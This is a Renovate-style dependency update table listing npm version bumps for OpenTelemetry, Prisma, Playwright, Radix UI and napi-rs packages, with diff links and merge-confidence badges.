| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.62` -> `3.0.0-alpha.64`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.62/3.0.0-alpha.64) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.64?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.64?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.62/3.0.0-alpha.64?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.62/3.0.0-alpha.64?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@node-rs/crc32](https://redirect.github.com/napi-rs/node-rs) | [`1.10.3` -> `1.10.4`](https://renovatebot.com/diffs/npm/@node-rs%2fcrc32/1.10.3/1.10.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fcrc32/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fcrc32/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fcrc32/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fcrc32/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.26.0` -> `1.27.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.26.0/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.53.0` -> `^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.53.0/0.54.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.26.0` -> `1.27.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.26.0/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/host-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/opentelemetry-host-metrics#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`0.35.3` -> `0.35.4`](https://renovatebot.com/diffs/npm/@opentelemetry%2fhost-metrics/0.35.3/0.35.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fhost-metrics/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fhost-metrics/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fhost-metrics/0.35.3/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fhost-metrics/0.35.3/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.53.0` -> `^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.53.0/0.54.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.43.0` -> `^0.44.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.43.0/0.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.53.0` -> `^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.53.0/0.54.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.43.0` -> `^0.44.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.43.0/0.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.40.0` -> `^0.41.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.40.0/0.41.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.40.0/0.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.40.0/0.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.42.0` -> `^0.43.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.42.0/0.43.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.42.0/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.42.0/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.26.0` -> `1.27.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.26.0/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.26.0` -> `1.27.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.26.0/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.53.0` -> `^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.53.0/0.54.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.53.0/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.26.0` -> `1.27.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.26.0/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.26.0/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.47.2` -> `=1.48.2`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.47.2/1.48.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.48.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.48.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.47.2/1.48.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.47.2/1.48.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@prisma/client](https://www.prisma.io) ([source](https://redirect.github.com/prisma/prisma/tree/HEAD/packages/client)) | [`5.20.0` -> `5.21.1`](https://renovatebot.com/diffs/npm/@prisma%2fclient/5.20.0/5.21.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@prisma%2fclient/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@prisma%2fclient/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@prisma%2fclient/5.20.0/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@prisma%2fclient/5.20.0/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@prisma/instrumentation](https://www.prisma.io) ([source](https://redirect.github.com/prisma/prisma/tree/HEAD/packages/instrumentation)) | [`5.20.0` -> `5.21.1`](https://renovatebot.com/diffs/npm/@prisma%2finstrumentation/5.20.0/5.21.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@prisma%2finstrumentation/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@prisma%2finstrumentation/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@prisma%2finstrumentation/5.20.0/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@prisma%2finstrumentation/5.20.0/5.21.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@radix-ui/react-accordion](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-accordion/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-accordion/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-accordion/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-accordion/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-accordion/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-alert-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-alert-dialog/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-alert-dialog/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-alert-dialog/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-alert-dialog/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-alert-dialog/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-avatar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-avatar/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-avatar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-avatar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-avatar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-avatar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-checkbox](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-checkbox/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-checkbox/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-checkbox/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-checkbox/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-checkbox/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-context-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.2.1` -> `2.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-context-menu/2.2.1/2.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-context-menu/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-context-menu/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-context-menu/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-context-menu/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dialog/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dialog/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dialog/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dialog/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dialog/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-dropdown-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.1` -> `2.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dropdown-menu/2.1.1/2.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dropdown-menu/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dropdown-menu/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dropdown-menu/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dropdown-menu/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-hover-card](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-hover-card/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-hover-card/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-hover-card/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-hover-card/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-hover-card/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-menubar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-menubar/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-menubar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-menubar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-menubar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-menubar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-navigation-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-navigation-menu/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-navigation-menu/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-navigation-menu/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-navigation-menu/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-navigation-menu/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-popover](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-popover/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-popover/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-popover/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-popover/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-popover/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
